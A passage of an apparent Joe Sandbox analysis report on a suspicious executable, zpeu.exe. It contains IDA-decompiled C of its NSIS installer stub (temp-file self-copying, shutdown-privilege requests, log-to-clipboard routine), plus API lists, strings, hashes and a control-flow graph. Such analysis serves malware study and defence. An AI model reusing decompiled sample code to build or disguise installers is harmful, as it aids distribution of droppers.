                                      								_t75 = OpenProcessToken(GetCurrentProcess(), 0x28, _t197 + 0x14);
                                      								__eflags = _t75;
                                      								if(_t75 != 0) {
                                      									LookupPrivilegeValueW(_t151, L"SeShutdownPrivilege", _t197 + 0x20);
                                      									 *(_t197 + 0x34) = 1;
                                      									 *(_t197 + 0x40) = 2;
                                      									AdjustTokenPrivileges( *(_t197 + 0x28), _t151, _t197 + 0x24, _t151, _t151, _t151);
                                      								}
                                      								_t76 = E00406626(4);
                                      								__eflags = _t76 - _t151;
                                      								if(_t76 == _t151) {
                                      									L70:
                                      									_t77 = ExitWindowsEx(2, 0x80040002);
                                      									__eflags = _t77;
                                      									if(_t77 != 0) {
                                      										goto L72;
                                      									}
                                      									goto L71;
                                      								} else {
                                      									_t79 =  *_t76(_t151, _t151, _t151, 0x25, 0x80040002);
                                      									__eflags = _t79;
                                      									if(_t79 == 0) {
                                      										L71:
                                      										E0040140B(9);
                                      										goto L72;
                                      									}
                                      									goto L70;
                                      								}
                                      							}
                                      							E004058AE( *(_t197 + 0x10), 0x200010);
                                      							ExitProcess(2);
                                      						}
                                      						if( *0x42a220 == _t151) {
                                      							L47:
                                      							 *0x42a2cc =  *0x42a2cc | 0xffffffff;
                                      							 *(_t197 + 0x14) = E0040395A( *0x42a2cc);
                                      							goto L48;
                                      						}
                                      						_t184 = E00405B4A(_t193, _t151);
                                      						if(_t184 < _t193) {
                                      							L44:
                                      							_t236 = _t184 - _t193;
                                      							 *(_t197 + 0x10) = L"Error launching installer";
                                      							if(_t184 < _t193) {
                                      								_t182 = E00405819(_t239);
                                      								lstrcatW(_t172, L"~nsu");
                                      								if(_t182 != _t151) {
                                      									lstrcatW(_t172, "A");
                                      								}
                                      								lstrcatW(_t172, L".tmp");
                                      								_t195 = L"C:\\Users\\Arthur\\Desktop";
                                      								if(lstrcmpiW(_t172, L"C:\\Users\\Arthur\\Desktop") != 0) {
                                      									_push(_t172);
                                      									if(_t182 == _t151) {
                                      										E004057FC();
                                      									} else {
                                      										E0040577F();
                                      									}
                                      									SetCurrentDirectoryW(_t172);
                                      									_t243 = L"C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\spilplatform\\Thenceforth" - _t151; // 0x43
                                      									if(_t243 == 0) {
                                      										E0040624C(L"C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\spilplatform\\Thenceforth", _t195);
                                      									}
                                      									E0040624C(0x42b000,  *(_t197 + 0x18));
                                      									_t156 = "A" & 0x0000ffff;
                                      									 *0x42b800 = ( *0x40a25a & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
                                      									_t196 = 0x1a;
                                      									do {
                                      										E0040626E(_t151, _t172, 0x420ea8, 0x420ea8,  *((intOrPtr*)( *0x42a214 + 0x120)));
                                      										DeleteFileW(0x420ea8);
                                      										if( *(_t197 + 0x10) != _t151 && CopyFileW(L"C:\\Users\\Arthur\\Desktop\\zpeu.exe", 0x420ea8, 1) != 0) {
                                      											E00406012(_t156, 0x420ea8, _t151);
                                      											E0040626E(_t151, _t172, 0x420ea8, 0x420ea8,  *((intOrPtr*)( *0x42a214 + 0x124)));
                                      											_t103 = E00405831(0x420ea8);
                                      											if(_t103 != _t151) {
                                      												CloseHandle(_t103);
                                      												 *(_t197 + 0x10) = _t151;
                                      											}
                                      										}
                                      										 *0x42b800 =  *0x42b800 + 1;
                                      										_t196 = _t196 - 1;
                                      									} while (_t196 != 0);
                                      									E00406012(_t156, _t172, _t151);
                                      								}
                                      								goto L48;
                                      							}
                                      							 *_t184 = _t151;
                                      							_t185 =  &(_t184[2]);
                                      							if(E00405C25(_t236,  &(_t184[2])) == 0) {
                                      								goto L48;
                                      							}
                                      							E0040624C(L"C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\spilplatform\\Thenceforth", _t185);
                                      							E0040624C(L"C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\spilplatform\\Thenceforth", _t185);
                                      							 *(_t197 + 0x10) = _t151;
                                      							goto L47;
                                      						}
                                      						asm("cdq");
                                      						asm("cdq");
                                      						asm("cdq");
                                      						_t159 = ( *0x40a27e & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
                                      						_t120 = ( *0x40a282 & 0x0000ffff) << 0x00000010 |  *0x40a280 & 0x0000ffff | (_t164 << 0x00000020 |  *0x40a282 & 0x0000ffff) << 0x10;
                                      						while( *_t184 != _t159 || _t184[1] != _t120) {
                                      							_t184 = _t184;
                                      							if(_t184 >= _t193) {
                                      								continue;
                                      							}
                                      							break;
                                      						}
                                      						_t151 = 0;
                                      						goto L44;
                                      					}
                                      					GetWindowsDirectoryW(_t172, 0x3fb);
                                      					lstrcatW(_t172, L"\\Temp");
                                      					_t123 = E0040330C(_t155, _t225);
                                      					_t226 = _t123;
                                      					if(_t123 != 0) {
                                      						goto L36;
                                      					}
                                      					GetTempPathW(0x3fc, _t172);
                                      					lstrcatW(_t172, L"Low");
                                      					SetEnvironmentVariableW(L"TEMP", _t172);
                                      					SetEnvironmentVariableW(L"TMP", _t172);
                                      					_t128 = E0040330C(_t155, _t226);
                                      					_t227 = _t128;
                                      					if(_t128 == 0) {
                                      						goto L48;
                                      					}
                                      					goto L36;
                                      				} else {
                                      					do {
                                      						_t154 = 0x20;
                                      						if(_t66 != _t154) {
                                      							L13:
                                      							if( *_t155 == 0x22) {
                                      								_t155 = _t155 + 2;
                                      								_t154 = 0x22;
                                      							}
                                      							if( *_t155 != 0x2f) {
                                      								goto L27;
                                      							} else {
                                      								_t155 = _t155 + 2;
                                      								if( *_t155 == 0x53) {
                                      									_t148 =  *((intOrPtr*)(_t155 + 2));
                                      									if(_t148 == 0x20 || _t148 == 0) {
                                      										 *0x42a2c0 = 1;
                                      									}
                                      								}
                                      								asm("cdq");
                                      								asm("cdq");
                                      								_t169 = L"NCRC" & 0x0000ffff;
                                      								asm("cdq");
                                      								_t175 = ( *0x40a2c2 & 0x0000ffff) << 0x00000010 |  *0x40a2c0 & 0x0000ffff | _t169;
                                      								if( *_t155 == (( *0x40a2be & 0x0000ffff) << 0x00000010 | _t169) &&  *((intOrPtr*)(_t155 + 4)) == _t175) {
                                      									_t147 =  *((intOrPtr*)(_t155 + 8));
                                      									if(_t147 == 0x20 || _t147 == 0) {
                                      										 *(_t197 + 0x1c) =  *(_t197 + 0x1c) | 0x00000004;
                                      									}
                                      								}
                                      								asm("cdq");
                                      								asm("cdq");
                                      								_t164 = L" /D=" & 0x0000ffff;
                                      								asm("cdq");
                                      								_t178 = ( *0x40a2b6 & 0x0000ffff) << 0x00000010 |  *0x40a2b4 & 0x0000ffff | _t164;
                                      								if( *(_t155 - 4) != (( *0x40a2b2 & 0x0000ffff) << 0x00000010 | _t164) ||  *_t155 != _t178) {
                                      									goto L27;
                                      								} else {
                                      									 *(_t155 - 4) =  *(_t155 - 4) & 0x00000000;
                                      									__eflags = _t155;
                                      									E0040624C(L"C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\spilplatform\\Thenceforth", _t155);
                                      									L32:
                                      									_t151 = 0;
                                      									goto L33;
                                      								}
                                      							}
                                      						} else {
                                      							goto L12;
                                      						}
                                      						do {
                                      							L12:
                                      							_t155 = _t155 + 2;
                                      						} while ( *_t155 == _t154);
                                      						goto L13;
                                      						L27:
                                      						_t155 = E00405B4A(_t155, _t154);
                                      						if( *_t155 == 0x22) {
                                      							_t155 = _t155 + 2;
                                      						}
                                      						_t66 =  *_t155;
                                      					} while (_t66 != 0);
                                      					goto L32;
                                      				}
                                      				L4:
                                      				E004065B6(_t179); // executed
                                      				_t179 =  &(_t179[lstrlenA(_t179) + 1]);
                                      				if( *_t179 != 0) {
                                      					goto L4;
                                      				} else {
                                      					E00406626(0xa);
                                      					 *0x42a204 = E00406626(8);
                                      					_t56 = E00406626(6);
                                      					if(_t56 != _t151) {
                                      						_t56 =  *_t56(0x1e);
                                      						if(_t56 != 0) {
                                      							 *0x42a20f =  *0x42a20f | 0x00000040;
                                      						}
                                      					}
                                      					goto L8;
                                      				}
                                      			}








































                                      0x00403348
                                      0x00403349
                                      0x00403350
                                      0x00403354
                                      0x0040335c
                                      0x00403360
                                      0x0040336c
                                      0x00403375
                                      0x0040337a
                                      0x0040337d
                                      0x00403384
                                      0x0040338b
                                      0x0040338b
                                      0x00403384
                                      0x0040338d
                                      0x0040338d
                                      0x004033d5
                                      0x004033d6
                                      0x004033dd
                                      0x004033e3
                                      0x004033f9
                                      0x00403409
                                      0x0040340e
                                      0x00403414
                                      0x0040341b
                                      0x0040342f
                                      0x00403434
                                      0x00403436
                                      0x0040343a
                                      0x0040343f
                                      0x0040343f
                                      0x0040344e
                                      0x00403450
                                      0x00403454
                                      0x0040345a
                                      0x00403571
                                      0x00403577
                                      0x00403582
                                      0x00403584
                                      0x00403589
                                      0x0040358b
                                      0x004035e3
                                      0x004035e8
                                      0x004035f2
                                      0x004035f9
                                      0x004035fd
                                      0x004036ae
                                      0x004036ae
                                      0x004036b3
                                      0x004036b9
                                      0x004036be
                                      0x004037e4
                                      0x004037ea
                                      0x00403868
                                      0x00403868
                                      0x0040386d
                                      0x00403870
                                      0x00403872
                                      0x00403872
                                      0x0040387a
                                      0x0040387a
                                      0x004037fa
                                      0x00403800
                                      0x00403802
                                      0x0040380f
                                      0x00403822
                                      0x0040382a
                                      0x00403832
                                      0x00403832
                                      0x0040383a
                                      0x0040383f
                                      0x00403846
                                      0x00403854
                                      0x00403857
                                      0x0040385d
                                      0x0040385f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00403848
                                      0x0040384e
                                      0x00403850
                                      0x00403852
                                      0x00403861
                                      0x00403863
                                      0x00000000
                                      0x00403863
                                      0x00000000
                                      0x00403852
                                      0x00403846
                                      0x004036cd
                                      0x004036d4
                                      0x004036d4
                                      0x00403609
                                      0x0040369e
                                      0x0040369e
                                      0x004036aa
                                      0x00000000
                                      0x004036aa
                                      0x00403616
                                      0x0040361a
                                      0x00403668
                                      0x00403668
                                      0x0040366a
                                      0x00403672
                                      0x004036e5
                                      0x004036e7
                                      0x004036ee
                                      0x004036f6
                                      0x004036f6
                                      0x00403701
                                      0x00403706
                                      0x00403715
                                      0x00403719
                                      0x0040371a
                                      0x00403723
                                      0x0040371c
                                      0x0040371c
                                      0x0040371c
                                      0x00403729
                                      0x0040372f
                                      0x00403736
                                      0x0040373e
                                      0x0040373e
                                      0x0040374c
                                      0x00403758
                                      0x00403766
                                      0x0040376b
                                      0x00403771
                                      0x0040377d
                                      0x00403783
                                      0x0040378d
                                      0x004037a3
                                      0x004037b4
                                      0x004037ba
                                      0x004037c1
                                      0x004037c4
                                      0x004037ca
                                      0x004037ca
                                      0x004037c1
                                      0x004037ce
                                      0x004037d5
                                      0x004037d5
                                      0x004037da
                                      0x004037da
                                      0x00000000
                                      0x00403715
                                      0x00403674
                                      0x00403677
                                      0x00403682
                                      0x00000000
                                      0x00000000
                                      0x0040368a
                                      0x00403695
                                      0x0040369a
                                      0x00000000
                                      0x0040369a
                                      0x00403623
                                      0x0040363b
                                      0x0040364c
                                      0x0040364d
                                      0x00403651
                                      0x00403653
                                      0x00403661
                                      0x00403664
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00403664
                                      0x00403666
                                      0x00000000
                                      0x00403666
                                      0x00403593
                                      0x0040359f
                                      0x004035a4
                                      0x004035a9
                                      0x004035ab
                                      0x00000000
                                      0x00000000
                                      0x004035b3
                                      0x004035bb
                                      0x004035cc
                                      0x004035d4
                                      0x004035d6
                                      0x004035db
                                      0x004035dd
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00403460
                                      0x00403460
                                      0x00403462
                                      0x00403466
                                      0x0040346f
                                      0x00403473
                                      0x00403478
                                      0x00403479
                                      0x00403479
                                      0x0040347e
                                      0x00000000
                                      0x00403484
                                      0x00403485
                                      0x0040348a
                                      0x0040348c
                                      0x00403494
                                      0x0040349b
                                      0x0040349b
                                      0x00403494
                                      0x004034ac
                                      0x004034bf
                                      0x004034c0
                                      0x004034d5
                                      0x004034da
                                      0x004034de
                                      0x004034e7
                                      0x004034ef
                                      0x004034f6
                                      0x004034f6
                                      0x004034ef
                                      0x00403502
                                      0x00403515
                                      0x00403516
                                      0x0040352b
                                      0x00403531
                                      0x00403535
                                      0x00000000
                                      0x0040355c
                                      0x0040355c
                                      0x00403561
                                      0x0040356a
                                      0x0040356f
                                      0x0040356f
                                      0x00000000
                                      0x0040356f
                                      0x00403535
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00403468
                                      0x00403468
                                      0x00403469
                                      0x0040346a
                                      0x00000000
                                      0x0040353d
                                      0x00403544
                                      0x0040354a
                                      0x0040354d
                                      0x0040354d
                                      0x0040354e
                                      0x00403551
                                      0x00000000
                                      0x0040355a
                                      0x00403392
                                      0x00403393
                                      0x0040339f
                                      0x004033a6
                                      0x00000000
                                      0x004033a8
                                      0x004033aa
                                      0x004033b8
                                      0x004033bd
                                      0x004033c4
                                      0x004033c8
                                      0x004033cc
                                      0x004033ce
                                      0x004033ce
                                      0x004033cc
                                      0x00000000
                                      0x004033c4

                                      APIs
                                      • SetErrorMode.KERNELBASE ref: 00403360
                                      • GetVersion.KERNEL32 ref: 00403366
                                      • lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403399
                                      • #17.COMCTL32(?,00000006,00000008,0000000A), ref: 004033D6
                                      • OleInitialize.OLE32(00000000), ref: 004033DD
                                      • SHGetFileInfoW.SHELL32(004216A8,00000000,?,000002B4,00000000), ref: 004033F9
                                      • GetCommandLineW.KERNEL32(00429200,NSIS Error,?,00000006,00000008,0000000A), ref: 0040340E
                                      • GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\zpeu.exe",00000000,?,00000006,00000008,0000000A), ref: 00403421
                                      • CharNextW.USER32(00000000,"C:\Users\user\Desktop\zpeu.exe",00000020,?,00000006,00000008,0000000A), ref: 00403448
                                        • Part of subcall function 00406626: GetModuleHandleA.KERNEL32(?,00000020,?,004033AF,0000000A), ref: 00406638
                                        • Part of subcall function 00406626: GetProcAddress.KERNEL32(00000000,?), ref: 00406653
                                      • GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403582
                                      • GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000006,00000008,0000000A), ref: 00403593
                                      • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040359F
                                      • GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000006,00000008,0000000A), ref: 004035B3
                                      • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 004035BB
                                      • SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000006,00000008,0000000A), ref: 004035CC
                                      • SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 004035D4
                                      • DeleteFileW.KERNELBASE(1033,?,00000006,00000008,0000000A), ref: 004035E8
                                        • Part of subcall function 0040624C: lstrcpynW.KERNEL32(?,?,00000400,0040340E,00429200,NSIS Error,?,00000006,00000008,0000000A), ref: 00406259
                                      • OleUninitialize.OLE32(00000006,?,00000006,00000008,0000000A), ref: 004036B3
                                      • ExitProcess.KERNEL32 ref: 004036D4
                                      • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 004036E7
                                      • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A26C), ref: 004036F6
                                      • lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 00403701
                                      • lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\zpeu.exe",00000000,00000006,?,00000006,00000008,0000000A), ref: 0040370D
                                      • SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000006,00000008,0000000A), ref: 00403729
                                      • DeleteFileW.KERNEL32(00420EA8,00420EA8,?,0042B000,00000008,?,00000006,00000008,0000000A), ref: 00403783
                                      • CopyFileW.KERNEL32(C:\Users\user\Desktop\zpeu.exe,00420EA8,00000001,?,00000006,00000008,0000000A), ref: 00403797
                                      • CloseHandle.KERNEL32(00000000,00420EA8,00420EA8,?,00420EA8,00000000,?,00000006,00000008,0000000A), ref: 004037C4
                                      • GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 004037F3
                                      • OpenProcessToken.ADVAPI32(00000000), ref: 004037FA
                                      • LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040380F
                                      • AdjustTokenPrivileges.ADVAPI32 ref: 00403832
                                      • ExitWindowsEx.USER32(00000002,80040002), ref: 00403857
                                      • ExitProcess.KERNEL32 ref: 0040387A
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
                                      • String ID: "C:\Users\user\Desktop\zpeu.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\zpeu.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
                                      • API String ID: 2488574733-3239155108
                                      • Opcode ID: d2a13487a049f8695112171eabf7473e6d565728a0202d7647594f6489cd5a4d
                                      • Instruction ID: 8796dd7fda2277e74c31c2c32d36de8c434ed5469641edba7c3d6f01ab9f589a
                                      • Opcode Fuzzy Hash: d2a13487a049f8695112171eabf7473e6d565728a0202d7647594f6489cd5a4d
                                      • Instruction Fuzzy Hash: 8AD11470600310ABD7207F759D45B2B3AACEB4074AF10447EF881B62D1DB7E8956CB6E
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 139 4053ef-40540a 140 405410-4054d7 GetDlgItem * 3 call 404216 call 404b4d GetClientRect GetSystemMetrics SendMessageW * 2 139->140 141 405599-4055a0 139->141 161 4054f5-4054f8 140->161 162 4054d9-4054f3 SendMessageW * 2 140->162 143 4055a2-4055c4 GetDlgItem CreateThread CloseHandle 141->143 144 4055ca-4055d7 141->144 143->144 146 4055f5-4055ff 144->146 147 4055d9-4055df 144->147 151 405601-405607 146->151 152 405655-405659 146->152 149 4055e1-4055f0 ShowWindow * 2 call 404216 147->149 150 40561a-405623 call 404248 147->150 149->146 165 405628-40562c 150->165 156 405609-405615 call 4041ba 151->156 157 40562f-40563f ShowWindow 151->157 152->150 154 40565b-405661 152->154 154->150 163 405663-405676 SendMessageW 154->163 156->150 159 405641-40564a call 4052b0 157->159 160 40564f-405650 call 4041ba 157->160 159->160 160->152 168 405508-40551f call 4041e1 161->168 169 4054fa-405506 SendMessageW 161->169 162->161 170 405778-40577a 163->170 171 40567c-4056a7 CreatePopupMenu call 40626e AppendMenuW 163->171 178 405521-405535 ShowWindow 168->178 179 405555-405576 GetDlgItem SendMessageW 168->179 169->168 170->165 176 4056a9-4056b9 GetWindowRect 171->176 177 4056bc-4056d1 TrackPopupMenu 171->177 176->177 177->170 181 4056d7-4056ee 177->181 182 405544 178->182 183 405537-405542 ShowWindow 178->183 179->170 180 40557c-405594 SendMessageW * 2 179->180 180->170 184 4056f3-40570e SendMessageW 181->184 185 40554a-405550 call 404216 182->185 183->185 184->184 187 405710-405733 OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 184->187 185->179 188 405735-40575c SendMessageW 187->188 188->188 189 40575e-405772 GlobalUnlock SetClipboardData CloseClipboard 188->189 189->170
                                      C-Code - Quality: 95%
                                      			E004053EF(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
                                      				struct HWND__* _v8;
                                      				long _v12;
                                      				struct tagRECT _v28;
                                      				void* _v36;
                                      				signed int _v40;
                                      				int _v44;
                                      				int _v48;
                                      				signed int _v52;
                                      				int _v56;
                                      				void* _v60;
                                      				void* _v68;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				struct HWND__* _t94;
                                      				long _t95;
                                      				int _t100;
                                      				void* _t108;
                                      				intOrPtr _t119;
                                      				void* _t127;
                                      				intOrPtr _t130;
                                      				struct HWND__* _t134;
                                      				int _t156;
                                      				int _t159;
                                      				struct HMENU__* _t164;
                                      				struct HWND__* _t168;
                                      				struct HWND__* _t169;
                                      				int _t171;
                                      				void* _t172;
                                      				short* _t173;
                                      				short* _t175;
                                      				int _t177;
                                      
                                      				_t169 =  *0x4291e4;
                                      				_t156 = 0;
                                      				_v8 = _t169;
                                      				if(_a8 != 0x110) {
                                      					if(_a8 == 0x405) {
                                      						_t127 = CreateThread(0, 0, E00405383, GetDlgItem(_a4, 0x3ec), 0,  &_v12); // executed
                                      						CloseHandle(_t127); // executed
                                      					}
                                      					if(_a8 != 0x111) {
                                      						L17:
                                      						_t171 = 1;
                                      						if(_a8 != 0x404) {
                                      							L25:
                                      							if(_a8 != 0x7b) {
                                      								goto L20;
                                      							}
                                      							_t94 = _v8;
                                      							if(_a12 != _t94) {
                                      								goto L20;
                                      							}
                                      							_t95 = SendMessageW(_t94, 0x1004, _t156, _t156);
                                      							_a8 = _t95;
                                      							if(_t95 <= _t156) {
                                      								L36:
                                      								return 0;
                                      							}
                                      							_t164 = CreatePopupMenu();
                                      							AppendMenuW(_t164, _t156, _t171, E0040626E(_t156, _t164, _t171, _t156, 0xffffffe1));
                                      							_t100 = _a16;
                                      							_t159 = _a16 >> 0x10;
                                      							if(_a16 == 0xffffffff) {
                                      								GetWindowRect(_v8,  &_v28);
                                      								_t100 = _v28.left;
                                      								_t159 = _v28.top;
                                      							}
                                      							if(TrackPopupMenu(_t164, 0x180, _t100, _t159, _t156, _a4, _t156) == _t171) {
                                      								_v60 = _t156;
                                      								_v48 = 0x4236e8;
                                      								_v44 = 0x1000;
                                      								_a4 = _a8;
                                      								do {
                                      									_a4 = _a4 - 1;
                                      									_t171 = _t171 + SendMessageW(_v8, 0x1073, _a4,  &_v68) + 2;
                                      								} while (_a4 != _t156);
                                      								OpenClipboard(_t156);
                                      								EmptyClipboard();
                                      								_t108 = GlobalAlloc(0x42, _t171 + _t171);
                                      								_a4 = _t108;
                                      								_t172 = GlobalLock(_t108);
                                      								do {
                                      									_v48 = _t172;
                                      									_t173 = _t172 + SendMessageW(_v8, 0x1073, _t156,  &_v68) * 2;
                                      									 *_t173 = 0xd;
                                      									_t175 = _t173 + 2;
                                      									 *_t175 = 0xa;
                                      									_t172 = _t175 + 2;
                                      									_t156 = _t156 + 1;
                                      								} while (_t156 < _a8);
                                      								GlobalUnlock(_a4);
                                      								SetClipboardData(0xd, _a4);
                                      								CloseClipboard();
                                      							}
                                      							goto L36;
                                      						}
                                      						if( *0x4291cc == _t156) {
                                      							ShowWindow( *0x42a208, 8);
                                      							if( *0x42a2ac == _t156) {
                                      								_t119 =  *0x4226c0; // 0x682fbc
                                      								E004052B0( *((intOrPtr*)(_t119 + 0x34)), _t156);
                                      							}
                                      							E004041BA(_t171);
                                      							goto L25;
                                      						}
                                      						 *0x421eb8 = 2;
                                      						E004041BA(0x78);
                                      						goto L20;
                                      					} else {
                                      						if(_a12 != 0x403) {
                                      							L20:
                                      							return E00404248(_a8, _a12, _a16);
                                      						}
                                      						ShowWindow( *0x4291d0, _t156);
                                      						ShowWindow(_t169, 8);
                                      						E00404216(_t169);
                                      						goto L17;
                                      					}
                                      				}
                                      				_v52 = _v52 | 0xffffffff;
                                      				_v40 = _v40 | 0xffffffff;
                                      				_t177 = 2;
                                      				_v60 = _t177;
                                      				_v56 = 0;
                                      				_v48 = 0;
                                      				_v44 = 0;
                                      				asm("stosd");
                                      				asm("stosd");
                                      				_t130 =  *0x42a214;
                                      				_a8 =  *((intOrPtr*)(_t130 + 0x5c));
                                      				_a12 =  *((intOrPtr*)(_t130 + 0x60));
                                      				 *0x4291d0 = GetDlgItem(_a4, 0x403);
                                      				 *0x4291c8 = GetDlgItem(_a4, 0x3ee);
                                      				_t134 = GetDlgItem(_a4, 0x3f8);
                                      				 *0x4291e4 = _t134;
                                      				_v8 = _t134;
                                      				E00404216( *0x4291d0);
                                      				 *0x4291d4 = E00404B4D(4);
                                      				 *0x4291ec = 0;
                                      				GetClientRect(_v8,  &_v28);
                                      				_v52 = _v28.right - GetSystemMetrics(_t177);
                                      				SendMessageW(_v8, 0x1061, 0,  &_v60); // executed
                                      				SendMessageW(_v8, 0x1036, 0x4000, 0x4000); // executed
                                      				if(_a8 >= 0) {
                                      					SendMessageW(_v8, 0x1001, 0, _a8);
                                      					SendMessageW(_v8, 0x1026, 0, _a8);
                                      				}
                                      				if(_a12 >= _t156) {
                                      					SendMessageW(_v8, 0x1024, _t156, _a12);
                                      				}
                                      				_push( *((intOrPtr*)(_a16 + 0x30)));
                                      				_push(0x1b);
                                      				E004041E1(_a4);
                                      				if(( *0x42a21c & 0x00000003) != 0) {
                                      					ShowWindow( *0x4291d0, _t156);
                                      					if(( *0x42a21c & 0x00000002) != 0) {
                                      						 *0x4291d0 = _t156;
                                      					} else {
                                      						ShowWindow(_v8, 8);
                                      					}
                                      					E00404216( *0x4291c8);
                                      				}
                                      				_t168 = GetDlgItem(_a4, 0x3ec);
                                      				SendMessageW(_t168, 0x401, _t156, 0x75300000);
                                      				if(( *0x42a21c & 0x00000004) != 0) {
                                      					SendMessageW(_t168, 0x409, _t156, _a12);
                                      					SendMessageW(_t168, 0x2001, _t156, _a8);
                                      				}
                                      				goto L36;
                                      			}



































                                      0x004053f7
                                      0x004053fd
                                      0x00405407
                                      0x0040540a
                                      0x004055a0
                                      0x004055bd
                                      0x004055c4
                                      0x004055c4
                                      0x004055d7
                                      0x004055f5
                                      0x004055f7
                                      0x004055ff
                                      0x00405655
                                      0x00405659
                                      0x00000000
                                      0x00000000
                                      0x0040565b
                                      0x00405661
                                      0x00000000
                                      0x00000000
                                      0x0040566b
                                      0x00405673
                                      0x00405676
                                      0x00405778
                                      0x00000000
                                      0x00405778
                                      0x00405685
                                      0x00405690
                                      0x00405699
                                      0x004056a4
                                      0x004056a7
                                      0x004056b0
                                      0x004056b6
                                      0x004056b9
                                      0x004056b9
                                      0x004056d1
                                      0x004056da
                                      0x004056dd
                                      0x004056e4
                                      0x004056eb
                                      0x004056f3
                                      0x004056f3
                                      0x0040570a
                                      0x0040570a
                                      0x00405711
                                      0x00405717
                                      0x00405723
                                      0x0040572a
                                      0x00405733
                                      0x00405735
                                      0x00405738
                                      0x00405747
                                      0x0040574a
                                      0x00405750
                                      0x00405751
                                      0x00405757
                                      0x00405758
                                      0x00405759
                                      0x00405761
                                      0x0040576c
                                      0x00405772
                                      0x00405772
                                      0x00000000
                                      0x004056d1
                                      0x00405607
                                      0x00405637
                                      0x0040563f
                                      0x00405641
                                      0x0040564a
                                      0x0040564a
                                      0x00405650
                                      0x00000000
                                      0x00405650
                                      0x0040560b
                                      0x00405615
                                      0x00000000
                                      0x004055d9
                                      0x004055df
                                      0x0040561a
                                      0x00000000
                                      0x00405623
                                      0x004055e8
                                      0x004055ed
                                      0x004055f0
                                      0x00000000
                                      0x004055f0
                                      0x004055d7
                                      0x00405410
                                      0x00405414
                                      0x0040541c
                                      0x00405420
                                      0x00405423
